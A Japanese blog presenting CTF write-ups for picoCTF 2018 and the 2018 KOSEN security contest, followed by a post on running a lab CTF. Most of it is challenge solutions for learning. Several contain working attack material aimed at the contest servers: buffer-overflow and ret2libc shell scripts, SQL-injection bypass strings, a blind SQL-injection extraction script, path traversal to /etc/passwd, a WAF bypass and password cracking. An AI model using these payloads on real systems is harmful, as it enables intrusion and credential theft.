ふるつき

v(*'='*)v かに

picoCTF 2018 writeup

 激つよチーム PPP がやっているという初心者向け CTF picoCTF 2018 に 途中まで theoldmoon0602 一人、途中から ptr-yudai と insecure として参加していました。いつの間にか終わっていたので解いた問題の writeup を雑に書きます。

[Forensics 50] Forensics Warmup 1

Forensics - Solved

f:id:Furutsuki:20181013224334p:plain

flag.zip をダウンロードしてきて、 unzip すると flag.jpg というファイルが出てくるので display flag.jpg として表示しました。

### [Forensics 50] Forensics Warmup 2

f:id:Furutsuki:20181013224459p:plain

flag.png が手に入るので display flag.png としたらFlagが手に入りました。Flag文字列から察するに中身は jpg とかで、 file flag.png としたらやはり JPG でした。

[General Skills 50] General Warmup 1

If I told you your grade was 0x41 in hexadecimal, what would it be in ASCII?

という問題文だったので、多分 picoCTF{A} とか送ったんだと思います

[General Skills 50] General Warmup 2

Can you convert the number 27 (base 10) to binary (base 2)?

python でやるなら bin(27) とかですね

[General Skills 50]General Warmup 3

What is 0x3D (base 16) in decimal (base 10).

pythonインタプリタ0x3D っていれると10進の値が返値です

[General Skills 50] Resources

 適当なWebページに飛ぶので、 ページ内検索で picoCTF{ などを検索すると picoCTF{xiexie_ni_lai_zheli} があります

[Reversing 50]Reversing Warmup 1

 ELFが手に入るので実行するとフラグが出力されます。picoCTF{welc0m3_t0_r3VeRs1nG}

[Reversing 50] Reversing Warmup 2

$ echo dGg0dF93NHNfczFtcEwz|base64 -d
th4t_w4s_s1mpL3

[Cryptography 75] Crypto Warmup 1

vignere っぽい暗号表と暗号文 c, 鍵 k が渡されます。

c: llkjmlmpadkkc
k: thisisalilkey
m: SECRETMESSAGE

[Cryptograph 75] Crypto Warmup 2

>>> "cvpbPGS{guvf_vf_pelcgb!}".decode("rot13")
u'picoCTF{this_is_crypto!}'

[General Skills 75] grep 1

file がわたされるので grep します。

$ cat file | grep picoCTF{ 
picoCTF{grep_and_you_will_find_52e63a9f}

[General Skills 75] net cat

Using netcat (nc) will be a necessity throughout your adventure. Can you connect to 2018shell3.picoctf.com at port 10854 to get the flag?

$ nc 2018shell3.picoctf.com 10854 
That wasn't so hard was it?
picoCTF{NEtcat_iS_a_NEcESSiTy_c97963fe}

[Cryptograph 100] HEEEEEEERE'S Johnny!

passwdshadow ファイルが渡されるので john the ripper でなんとかします。

$ unshadow ./passwd ./shadow > ./johnpasswd
$ chmod 0600 ./johnpasswd
$ john --user=root --single ./johnpasswd
$ john --user=root --show ./johnpasswd
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
No password hashes left to crack (see FAQ)
root:kissme:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left
$ cat <<A | nc 2018shell2.picoctf.com 5221
root
kissme
A
Username: Password: picoCTF{J0hn_1$_R1pp3d_289677b5}

[General Skills 100] strings

ELF が渡されるので問題名に従って strings しますが、たくさん流れるので結局 grep します

$ strings strings | grep picoCTF
picoCTF{sTrIngS_sAVeS_Time_c09b1444}

[General Skills 110] pipe

アドレスとポートを頂くので nc すると大量の文字列を受信します。とりあえず out.txt などにリダイレクトしておいて、 grep でそれっぽいものを残します。

> cat ./out.txt | grep -v "Unfortunately" | grep -v "another" | grep -v "not a"
picoCTF{almost_like_mario_8861411c}

普通に grep picoCTF{ でも良いですが

[Web Exploitation 125] Inspect Me

ページのソースをみるとフラグの断片が見つかります。 mycss.css の末尾に残りがあります。 html の方には part 1/3 of the flag の文字列がありましたが結局フラグは二つに分割されているだけでした。

picoCTF{ur_4_real_1nspect0r_g4dget_098df0d0}

[General Skills 125] grep 2

今度は picoCTF の提供する WebShell 上での問題です。 たくさんディレクトリがあるので grep -R で探します。

$ grep -R "picoCTF" 
.
./files2/file3:picoCTF{grep_r_and_you_will_find_036bbb25}

[General Skills 150] Aca-Shell-A

略。面倒な問題でした

[Web Exploitation 150] Client Side is Still Bad

 ページのコードは以下のようになっているのでコピーして vim でいい感じに編集してフラグをえました。

<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(split*7, split*8) == '}') {
      if (checkpass.substring(split*6, split*7) == '06ac') {
        if (checkpass.substring(split*5, split*6) == 'd_5e') {
         if (checkpass.substring(split*4, split*5) == 's_ba') {
          if (checkpass.substring(split*3, split*4) == 'nt_i') {
            if (checkpass.substring(split*2, split*3) == 'clie') {
              if (checkpass.substring(split, split*2) == 'CTF{') {
                if (checkpass.substring(0,split) == 'pico') {
                  alert("You got the flag!")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
  }

[Web Exploitation 150] Logon

admin 以外の好きなユーザ名 & パスワードでログインできるページです。 cookieadmin という項目があり False が入っていたので True に編集してリクエストを送りました。

picoCTF{l0g1ns_ar3nt_r34l_2a968c11}

[Forensics 150] Reading Between the Eyes

なにか画像が渡されるので、オンラインの steganography solver に突っ込んだような気がします。

[Forensics 150] Recovering From the Snap

animals.dd が渡されて、 file コマンドにかけると FAT16 っぽいのでマウントしたのですがフラグはなく、ではと思って SleuthKit から flsicat で削除されていた theflag.jpg を復旧しました。

$ fls animals.dd
r/r 4:  dachshund.jpg
r/r * 6:    fox.jpg
r/r 8:  frog.jpg
r/r * 10:   giraffe.jpg
r/r 12: music.jpg
r/r * 14:   rabbit2.jpg
r/r 16: rabbit.jpg
r/r * 18:   theflag.jpg
v/v 327027: $MBR
v/v 327028: $FAT1
v/v 327029: $FAT2
d/d 327030: $OrphanFiles

$ icat animals.dd 18 > theflag.jpg

picoCTF{th3_5n4p_happ3n3d}

[Forensics 150] admin panel

$ strings data.pcap| grep picoCTF{  
user=admin&password=picoCTF{n0ts3cur3_b186631d}

[Reversing 150] assembly-0

.intel_syntax noprefix
/* .bits 32 */
    
.global asm0

asm0:
    push ebp
    mov  ebp,esp
    mov  eax,DWORD PTR [ebp+0x8]
    mov  ebx,DWORD PTR [ebp+0xc]
    mov  eax,ebx
    mov  esp,ebp
    pop  ebp  
    ret

このようなアセンブリソースコードが配布され、

What does asm0(0xc9,0xb0) return?

とのことなので以下のように main.c を書いて gcc main.c asm.S -m32 としてリターンコードを見ました。

extern int asm0(int,int);

int main() {
        return asm0(0x2a,0x4f);
}

[Binary Exploitation 150] buffer overflow 0

略。単純なバッファオーバーフローがあるので リターンアドレスを書き換えると フラグを取得する処理に飛べます。

[Cryptograph 150] caesar cipher 1

適当な ソルバにかけます。

picoCTF{justagoodoldcaesarcipherfwacbovv}

[General Skills 150] environ

与えられたシェルで env とします。

$ env                                                                       
SECRET_FLAG=picoCTF{eNv1r0nM3nT_v4r14Bl3_fL4g_3758492} 

[Cryptograph 150] hertz

単一換字暗号とみて適当な quipquip に投げました。

substitution_ciphers_are_solvable_gatmlnvhri

[Forensics 150] hex editor

画像が与えられます。 strings すると Your flag is: "picoCTF{and_thats_how_u_edit_hex_kittos_3E03e57d}" が見えます

[General Skills 150] ssh-keyz

略。 ssh鍵を登録してSSHすると見えます。

[Web Exploitation 200] Irish Name Repo

ログイン画面に SQL インジェクションがあり パスワードを 'OR'a'='a とするとログインできます。

picoCTF{con4n_r3411y_1snt_1r1sh_d121ca0b}

[Web Exploitation 200] Mr. Robots

問題名に従って /robot.txt にアクセスすると隠しておきたいページが見えるので見に行っちゃいます。 picoCTF{th3_w0rld_1s_4_danger0us_pl4c3_3lli0t_74efc}

[Web Exploitation 200] Secret Agent

問題文に従って UserAgent を googlebot に偽装すると flag が手に入ります。 picoCTF{s3cr3t_ag3nt_m4n_dc320c11}

[Forensics 200] Truly an Artist

画像が渡されますが strings で解けます。 picoCTF{look_in_image_13509d38}

[Reversing 200] assembly-1

assembly-0 と同じ方針で解けます

[Reversing 200] be-quick-or-be-dead-1

ELFが渡されますが実行すると「遅い」って言われて死にます。どっかで sigalarm を飛ばして死ぬ処理が走ってると思うので潰します。 今回は radare2 で sigalarm の発行処理を nop で潰しました。

picoCTF{why_bother_doing_unnecessary_computation_402ca676}

[Binary Exploitation 200] buffer overflow 1

from pwn import *

win = 0x80485cb
print(repr("A"*44 + p32(win)))

[Cryptography 200] hertz2

また単一換字暗号です。 picoCTF{substitution_ciphers_are_too_easy_vpyydylnns}

[Binary Exploitation 200] leak-me

strcat を使っているのでバッファオーバーフローでヌル文字を埋めると文字列がだばだばでます。

$ nc 2018shell2.picoctf.com 1271
What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570

Incorrect Password!

^C
$ nc 2018shell2.picoctf.com 1271
What is your name?
aiueo
Hello aiueo,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

^C

[Forensics 200] now you don't

画像が与えられるのでバケツツールで塗りつぶすとフラグ文字列が手に入ります。

f:id:Furutsuki:20181013234229p:plain

[Reversing 200] quackme

内部でフラグを生成か比較かしていたので gdb で追いかけながら解きました。

a = [0x59, 0x6f, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x6e, 0x6f, 0x77, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65 , 0x20, 0x44, 0x75, 0x63, 0x6b, 0x20, 0x57, 0x65, 0x62, 0x2c, 0x20, 0x61, 0x6e, 0x64]
b = [0x29, 0x06, 0x16, 0x4f, 0x2b, 0x35, 0x30, 0x1e, 0x51, 0x1b, 0x5b, 0x14, 0x4b, 0x08, 0x5d, 0x2b, 0x50, 0x14, 0x5d, 0x00, 0x19, 0x17, 0x59, 0x52, 0x5d, 0x00, 0x4e, 0x6f, 0x20, 0x6c, 0x69, 0x6e, 0x65, 0x20, 0x72, 0x65, 0x61, 0x64]

flag = ""
for x in zip(a, b):
    flag += chr(x[0] ^ x[1])

print(flag)

picoCTF{qu4ckm3_5f8d9c17}

[Reversing 200] shellcode

シェルコードを実行するだけのバイナリがあるので、 shellstorm から拝借したやつを貼り付けます。

picoCTF{shellc0de_w00h00_7f5a7309}

[General Skills 200] what base is this?

from pwn import *

p = remote("2018shell2.picoctf.com", 1225)
s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 2), s.split())))
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3].strip()
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = s.decode("hex")
print(s)
p.sendline(s)


s1 = p.recvuntil("give me the")
s = p.recvuntil("as")
s1 += s
s = s[:-3]
s1 += p.recvuntil("Input:").rstrip()
print(s1)
s = "".join(map(chr, map(lambda x: int(x, 8), s.split())))
print(s)
p.sendline(s)

while True:
    print(p.recv(1000))

picoCTF{delusions_about_finding_values_451a9a74}

[General Skills 200] you can't see me

.   というファイルにフラグがあったのですが . にしか見えず困っていたところ、ふと回した var_dump(scandir(".")); に助けられ、無事

$ cat ".  "
picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_093d6aff}

[Web Exploitation 250] Buttons

$ curl http://2018shell2.picoctf.com:65107/button2.php -X POST
Well done, your flag is: picoCTF{button_button_whose_got_the_button_91f6f39a}

[Web Exploitation 250] The Vault

ソースコードを見せてくれる優しい ログインページなのでSQLインジェクションさせてもらいます。

ユーザ名を admin' union all select 1 -- 、パスワードを hoge とかにすると通ります

picoCTF{w3lc0m3_t0_th3_vau1t_c4738171}

[Forensics 250] What's My Name?

pcap がおちてくるので迷いなく strings します。

picoCTF{w4lt3r_wh1t3_033ad0f914a0b9d213bcc3ce5566038b}

[General Skills 250] absolutely relative

/tmp/takoyaki みたいなディレクトリを作って permission.txtyes を書き込んでおき、このディレクトリでバイナリを呼びます。

picoCTF{3v3r1ng_1$_r3l3t1v3_3b69633f}

[Reversing 250] assembly-2

assembly-0 と同じ要領で解けます

[Binary Exploitation 250] buffer overflow 2

from pwn import *

win = p32(0x080485cb)
dummy = p32(0xdeadbeef)
deadbeef = p32(0xdeadbeef)
deadcode = p32(0xdeadc0de)
print(repr("A"*112 + win + dummy + deadbeef + deadcode))

[Cryptography 250] caesar cipher 2

printable only じゃなくなったので自前でソルバを書きます。

c = map(ord, list(open("ciphertext").read()))

for i in range(256):
    s = ""
    for char in c:
        s += chr((char + i) % 256)
    if s.startswith("pico"):
        break
print(repr(s))


import string
src = s
dst = src.translate(string.maketrans('\xa1\xb2\xa4\x9f\xb0\xb1\xae\xa3', 'CTFARSPE')) # 'I likE orAngE.'
print(repr(dst))

そのまま回しただけだとダメそうなところがあったので適当な変換テーブルも書きました。

picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}

[Binary Exploitation 250] got-2-learn-libc

ひとつだけCSSの適用がおかしかった問題。

バッファオーバーフローのあるELFからgot2libc して system("/bin/sh") を呼ばせる。適当な関数のアドレスを渡してくれるのでそこから libcの先頭を計算して飛ぶべきアドレスを決める。

from pwn import *

p = process("/problems/got-2-learn-libc_1_ceda86bc09ce7d6a0588da4f914eb833/vuln")

libc_system = 0x0003a940
libc_puts = 0x0005f140
binsh_addr = 0x15902b

p.recvuntil("puts: ")
exec_libc_puts = int(p.recvline().strip(), 16)

libc_addr = exec_libc_puts - libc_puts

p.recvuntil("Enter a string:")

exec_libc_system = p32(libc_addr + libc_system)
exec_binsh_addr = p32(libc_addr + binsh_addr)

p.sendline("A"*160 + exec_libc_system + exec_binsh_addr + exec_binsh_addr)
p.interactive()

picoCTF{syc4al1s_4rE_uS3fUl_a78c4d87}

[Reversing 275] be-quick-or-be-dead-2

前問同様に alarm は消す。フィボナッチ数列の 0x402 項目の計算がとんでもなく遅かったので同じで高速な処理を自前で書いて出力を得ておいて、 gdbフィボナッチ数列の計算を飛ばして結果だけ正しくなるように set $eax=0xf70a9b58 した。

picoCTF{the_fibonacci_sequence_can_be_done_fast_7e188834}

[General Skills 275] in out error

なんもわからん

$ echo 'Please may I have the flag?' | ./in-out-error 1>/dev/null
picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}picoCTF{p1p1ng_1S_4_7h1ng_7b9360ca}...

[General Skills 300] learn gdb

ELF が渡される。内部でフラグを計算する処理が走ってるらしい。 strace をして適当に整形してやるとフラグが手に入ったけど何をしても手に入ると思う。

picoCTF{gDb_iS_sUp3r_u53fuL_f3f39814}

感想

General Skills の問題をとくのが初心者にとっても良さそう。私の場合は解いた問題は知っているものばかりで微妙だった。 be-quick-or-be-die は radare2 でバイナリパッチする練習になったので良かった。

面白い問題に到達する前に飽きちゃったのが良くない。

Ext Super Magic とNo Login が解けなかったのは悔しい。

高専セキュリティコンテスト 2018 #kosensc Writeup

9/1,2 に福岡県で開催された高専セキュリティコンテストに参加しました。今回は念願のオンサイトです。コンテストの詳細や旅の記録はちょっと面倒なので省略して、 ほとんど writeup だけの記事を書きます。

 奈良高専から出場した私たち insecure (theoldmoon0602, ptr-yudai, thrust2799, yoshiking) は 2日目 の 9:01:42 に全完して優勝でした。 私は3850 点のうち、 800 点を入れたのでその問題についての writeup を以下に書きます。

201809021130_kosensc2018.png (1.6 MB)

IMG_20180902_120458.jpg (402.9 kB)

[Binary 200] XOR, XOR

 これは200点もないでしょという問題。 asmreading という名前の 32bit ELFが渡されます。実行しても何も起こらずすぐに終了する。 ltrace にかけてみたけど何を呼んでる様子もなさそうです。一回は asmreading というファイル名に従って objdump してます。 みると main 関数では変数を初期化して xor_func なる関数を call しているようでした。他に目立った処理も無かったので、gdb で開いて、関数呼び出しの直後に breakpoint を仕掛けて。

 あとは continue して、メモリを見ると FLAG があります。 CKOSEN{you_can_read_assembly!}

 優勝決まった後暇だったので、一応正攻法もやりました。例えば objdump -D -M intel asmreading > dis.asm とします。 <main> というラベルで処理を見ると、大量のmovの後に xor_func を呼んでいるというのは先程も書いたところです。この xor_func の処理を見ると、アドレスが0x593のあたりをからループと xor をしていることがわかりました。 xor の引数は xor_func の引数にループカウンタを足してアドレスを計算しているようです。

 というわけで xor_func への引数を拾ってきて、xor しても flag が手に入ります。

0000054d <xor_func>:
 54d:   55                     push   ebp
 54e:   89 e5                   mov    ebp,esp
 550:  53                     push   ebx
 551:  83 ec 10               sub    esp,0x10
 554:  e8 97 01 00 00         call   6f0 <__x86.get_pc_thunk.ax>
 559:  05 7f 1a 00 00         add    eax,0x1a7f
 55e:   c7 45 f8 00 00 00 00    mov    DWORD PTR [ebp-0x8],0x0
 565:  eb 28                   jmp    58f <xor_func+0x42>
 567:  8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 56a:   8b 45 08              mov    eax,DWORD PTR [ebp+0x8]
 56d:   01 d0                   add    eax,edx
 56f:   0f b6 18                 movzx  ebx,BYTE PTR [eax]
 572:  8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 575:  8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 578:  01 d0                   add    eax,edx
 57a:   0f b6 08                 movzx  ecx,BYTE PTR [eax]
 57d:   8b 55 f8                mov    edx,DWORD PTR [ebp-0x8]
 580:  8b 45 10              mov    eax,DWORD PTR [ebp+0x10]
 583:  01 d0                   add    eax,edx
 585:  31 cb                   xor    ebx,ecx
 587:  89 da                   mov    edx,ebx
 589:  88 10                 mov    BYTE PTR [eax],dl
 58b:   83 45 f8 01           add    DWORD PTR [ebp-0x8],0x1
 58f:   83 7d f8 1e             cmp    DWORD PTR [ebp-0x8],0x1e
 593:  7e d2                    jle    567 <xor_func+0x1a>
 595:  b8 00 00 00 00          mov    eax,0x0
 59a:   83 c4 10               add    esp,0x10
 59d:   5b                      pop    ebx
 59e:   5d                      pop    ebp
 59f:   c3                       ret    
 6be:    8d 45 97              lea    eax,[ebp-0x69]
 6c1:   50                     push   eax
 6c2:   8d 45 d5                lea    eax,[ebp-0x2b]
 6c5:   50                     push   eax
 6c6:   8d 45 b6                lea    eax,[ebp-0x4a]
 6c9:   50                     push   eax
 6ca:   e8 7e fe ff ff          call   54d <xor_func>
a = [0x79,0x38,0x4e,0x41,0x72,0x77,0x59,0x6a,0x3e,0x58,0x4a,0x67,0x49,0x6d,0x65,0x33,0x52,0x51,0x68,0x68,0x5f,0x4d,0x3c,0x76,0x6f,0x31,0x5a,0x5d,0x6a,0x58,0x69]
b = [ 0x2a,0x7b,0x5 ,0xe ,0x21,0x32,0x17,0x11,0x47,0x37,0x3f,0x38,0x2a,0xc ,0xb ,0x6c,0x20,0x34,0x9 ,0xc ,0x0 ,0x2c,0x4f,0x5 ,0xa ,0x5c,0x38,0x31, 0x13 ,0x79 ,0x14]

import sys
for a, b in zip(a, b):
    sys.stdout.write(chr(a ^ b))
sys.stdout.write("\n")

 

[Web 300] 47405b599e22969295ebed486d7343cb

 問題名がひどいけどこれであってるらしい。後から教えてもらいましたが、 SQL Injetctionmd5 らしいですね。問題文は find the flag。すごく時間を溶かした問題です。だいたいスクリプトの実行に時間がかかりすぎたんですね。会場のトラフィックが詰まり気味だったのか、レスポンスがアレだったのか。

 アクセスすると、2つのフォームがあるページがみつかります。一つは検索フォームで、もう一つはログインフォームでした。検索フォームに適当な数字を入れると、 紐付いている数字が表示されます。有効なキーは 1 から 70 くらいまでで、帰ってきた数字を順番に chr していくと大体 Sorry... The flagi is not here. Hints: The flag is the password of the someone. とかそんな感じになりました。

find.kosensc2018.tech_.png (46.8 kB)

 ちなみに、 ' UNION ALL SELECT id, value from hints -- ' とかを入力すると一度に抜けるっぽいです。これは師匠がやってた。

find.kosensc2018.tech_search (1).png (243.6 kB)

 ということで下のフォームにログインしていきます。例えば username を admin 、 pass を 'OR 'a'='a にすると、 Multiple columns not allowed と表示されました。ならばと、 pass を 'OR 'a'='a' limit 1 -- とかにすると今度は Welcome! と表示される。 あ、 Blind SQL Injection だ。

 最初は大雑把に言って pass を 'OR SUBSTR(pass, {l}, 1) = '{c}' limit 1 -- のようなpayloadでやっていきました。 {l}{c} は変数展開のつもりです。これで出たのが、 SCKOSEN{j22522e96848ga64k3i3j85559} 。 勝利と思ったが受付けてもらえず。その直前に運営側の flag 設定ミスのある問題があったので一応確認してもらいましたがこれはダミーということでした。後でわかったけどダミーですらなかった。

 その後試行錯誤して、 'OR 'a'='a' limit 1 offset {i} -- で 5 まで通るから、マッチするパスワードが 6もあることがわかりました。パスワードの文字列が混同されないように気をつけて Blind SQL Injectioをしていく必要があります。これに気がついていないくて、最初は offset だけを動かしていたんだけど、一行しかマッチしない場合に offset 2 とかの payload を送ってもログインできずに泣いているだけだったり。↑のようなだめパスワードに引っかかっていました。

 最終的には、次のようなコードになります。

import requests
import string
import sys

url = 'http://find.kosensc2018.tech/'

FLAGS = [
"SCKOSEN{W22Xxnq9g8rfnEHG",
"SCKOSEN{XS6Pf2JeLqEbgkbi",
"SCKOSEN{jJTT4fFS6u68UrXF",
"SCKOSEN{rBB5GHkbkZktquEe",
"SCKOSEN{sTmxideYKH48wau4",
"SCKOSEN{u6YJ2TypMdAZSx6D",
        ]
while True:
    k = []
    for f in FLAGS:
        for j in range(21, 127):
            i = chr(j)
            payload = "'OR SUBSTR(pass, 1, {}) = '{}' limit 1 --".format(len(f) + 1, f + i )
            r = requests.post(url + 'signin', data={'id': 'admin', 'pass': payload})
            if "Welcome" in r.content:
                print(f + i)
                k.append(f + i)
                break
    FLAGS = k

 SUBSTRでこれまでの flag 文字列を含みながらマッチする文字列を探すことでパスワードが混ざって表示されることを防止しています。 FLAGS に初期値が入っているのはリクエストがめっちゃ遅くてタイムアウトしたときがあったからで、初期値は FLAGS=[""] です。その場合は break を書いてしまうと最初のFLAGしかとれずに死にます。

 これを走らせて得られた結果がこんな感じ↓ で確か flag は SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg} でした。実行にものすごく時間がかかって、↓だけでも 30 min か 1h くらいかかった気がする。

SCKOSEN{W22Xxnq9g8rfnEHGy
SCKOSEN{XS6Pf2JeLqEbgkbip
SCKOSEN{jJTT4fFS6u68UrXFk
SCKOSEN{rBB5GHkbkZktquEeN
SCKOSEN{sTmxideYKH48wau4E
SCKOSEN{u6YJ2TypMdAZSx6DF
SCKOSEN{W22Xxnq9g8rfnEHGyD
SCKOSEN{XS6Pf2JeLqEbgkbipC

略

SCKOSEN{W22Xxnq9g8rfnEHGyDJ7AJ8tFg}
SCKOSEN{XS6Pf2JeLqEbgkbipCj3knh5s9}
SCKOSEN{jJTT4fFS6u68UrXFkwmpsF5X5X}
SCKOSEN{rBB5GHkbkZktquEeN3iBj8WEBv}
SCKOSEN{sTmxideYKH48wau4EJZtNZWYZS}
SCKOSEN{u6YJ2TypMdAZSx6DFuzDsvDKcf}

[Web 300] 進撃せよ

 すごく悩まされた問題。 ~~~/list というのがインデックスのページで、 flag.txttest.txt へのリンクがあり、それぞれ /list/base64(flag.txt) /list/base64(test.txt) というような base64encoded な形のリンクでした。

test.txt へアクセスすると test とだけ帰ってきて、 flag.txt にアクセスすると WAF が動いて止められます。どうやら flag という文字列か flag という文字列の base64 に反応しているご様子。

 %00 とかで誤魔化せないかと思ったけど 500 が帰ってきてだめで、しばらく放っておいたら thrust2799 が base64(../../../../../etc/passwd) に成功することを教えてくれました。なるほどと思っていろいろ探ったけど後から考えれば的はずれだったので省略します。

base64(../../../../../../proc/self/cwd)base64(../../../../../proc/self/cmdline) で何をやっているかが読めるので読みました。プロセスは apache2 で、 http のヘッダには nginx と書いていた ので nginx のコンフィグばかり探して見つからないとなっていたのですが、多分 Reverse Proxy が悪いんですねこれ。ということで /etc/apache2/apache2.conf などを見て /var/www/html/waf/public/ が DocumentRoot であることを突き止め、 /var/www/html/waf/public/index.php からサーバが Laravel で動いているっぽいことがわかりました。実は師匠がその前にセッション名から Laravel っぽいということは教えてくれていましたが、一応。

 あとは Laravel のディレクトリ構造を思い出して waf/routes/web.php から waf/app/Controllers/Http/Waf.php にアクセスします。

 帰ってきたのが

?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class Waf extends Controller
{
    //

    public function decode($input)
    {
        $r = base64_decode($input);
        return $r;
    }

    public function BlackList($input)
    {
        $flag = true;
        $BlackList = ["flag.txt"];

        foreach ($input as $val) {
            if (in_array($val, $BlackList)) {
                $flag = false;
            }
            
            $check = preg_match('/flag/', $val);

            if ($check) {
                $flag = false;
            }
        }
        return $flag;
    }

    public function base64url_encode($data)
    {
        return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
    }

    public function base64url_decode($data)
    {
        return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
    }

    
    public function Waf($file)
    {
        $block = false;
        //$data = $this->base64url_decode($file);
        $trim = rtrim(strtr($file, '+/', '-_'), '=');

        if ($this->base64url_encode($this->base64url_decode($file)) === $trim) {
            //base64のとき
            $data = [$this->base64url_decode($file),$file];
        } else {
            //base64ではないとき
            $data = [$file];
        }

        $check = $this->BlackList($data);
        if ($check) {
            //ブラックリストではないとき。
        } else {
            //ブラックリストのとき。
            $block = true;
        }

        return $block;
    }
    public function list_glob($path)
    {
        foreach (glob($path) as $file) {
            $result[] = basename($file);
        }
    
        return $result;
    }
    
    public function index(Request $request)
    {
        //ファイルの一覧
        $list = $this->list_glob("../files/*");
        //return response($list, 200);
        return view('file', compact("list"));
    }
    public function Read(Request $request, $file)
    {
        if ($this->Waf($file)) {
            //waf が検知したとき。
            abort(403, "Access Denied");
            //return response("Access Block", 403);
        }

        $end = false;
        $data = $file;
        while (!$end) {
            $bef = $data;
            if (base64_encode($this->base64url_decode($data, true)) === $data) {
                //base64のとき
                $data = $this->base64url_decode($data);
            } else {
                //base64ではないとき
                $data = $bef;
                $end = true;
            }
        }

        if (file_exists("../files/$data")) {
            $output = file_get_contents("../files/$data", true);
            echo($output);
        } else {
            abort(404);
        }
    }
}

で、ちゃんと読むと、 Waf のときは base64decode を 1回だけやっており、アクセスのときは できる限り何回でもdecodeしていることがわかります。というわけで echo flag.txt | base64 | tr -d '\n' | base64 で生成したパスにアクセスしてフラグゲットです。

waf.kosensc2018.tech_list_Wm14aFp5NTBlSFE9.png (17.4 kB)

 ちなみに想定解は ESP らしいです。時間をかけすぎた感じが否めないけどちゃんと解くことができて気持ちよかったです。

感想

 優勝できてよかったです。 5年生 4人チームということもあり、負けられない戦いでした。

 勝利の要因はいろいろあると思いますが、きちんと役割分担をしたこと、事前準備をしてきたこと、師匠が大体全部解いたことなどでしょうか。役割分担としては、「ネットワークは全部 thrust2799に任せる」とか「theoldmoon0602とptr-yudaiは難しそうなweb問から解く」とか「yoshiking は CTFはじめて2ヶ月だからまずはMiscから(でもRSAもCMAも解いてたし強い)」とかでした。 事前準備で対策していたBlind SQL Injection が 2問もでるなど、意外と問題が当たったのも幸運でした。

https://furutsuki.hatenablog.com/entry/2018/08/30/224142

 運営や問題のクオリティについても高専セキュリティコンテストに適したものが出題されているという感じで、教育的な良問でした。 find the flag の問題はもうちょっと flag 短くするとか少なくするとか、リクエストの回数少なくて良くなるようにしてほしい感はありますが。

 今年もまたSECCON国内大会に出られるということでまた次の目標へ向けて頑張っていきたいと思います。

みて

 頼れるチームメイトのWrite up です。

ptr-yudai.hatenablog.com

 師匠ことプロの write up。丁寧に書いてあるので勉強になりますね。このくらいの問題セットなら、師匠一人で出ていても全完していた可能性がある。

thrust2799.hatenablog.jp

 ネットワークしかできないと言っておきながら各問題について重要な手がかりを入手することに長けたプロであるところの thrust2799 の writeup。すべての問題の解答時間を 12時間程度早めたと言っても過言ではありません。

ocamlab.kibe.la

 CTFはじめて2ヶ月の yoshiking の writeup。ちゃんと解くべき問題を解いているので本当に強い。この人僕より得点稼いでるんです……。さすが king 。 twitter アカウントを開設したらしいのでフォローしてあげてください。

 

OCamlabCTF #2 を開催した

 こういうのは大したためにもなりませんがブログに残しておくと残さないより良いことがありそう。

 私の所属する研究室は OCamlab ということになっていますが、 師匠と私が所属しているのでCTFにそれなりに力を入れています。今日は近くに迫った高専セキュリティコンテストを見据えて、 OCamlab CTF #2 を開催しました。

 OCamlab CTF は OCamlab CTF勉強会の番外編のようなものです。CTF勉強会は夏休みに入ってから始まったもので(それまでは各位の受験があったので)、私と師匠がCTFの過去問を解説したり、師匠が OCamlab CTF #1 を開催したりしていました。参加者は主に研究室同期(キングと呼ばれているのでここでもそう呼称します)や部活(joken)の後輩です。

 本来であれば今回も師匠が問題をつくって無事開催、となるところだったのですが、一昨日の夜に「mysqlが動かなくなってやる気が死んだのでふるつきがやって」と投げられてそこからほぼフル稼働で急いで準備を行いました。去年の高専セキュリティコンテストが King of the Hill 形式だったので今年もそうだろうと思って King of the Hill 形式の問題を3問と、スコアサーバやDefense Flagのチェッカ*1 を作りました。開催前に指摘されて気がついたんですが、今年は Jeopardy 形式だったんですね。いや申込み時点では King of the Hill って書いてたんですよ(大嘘)。

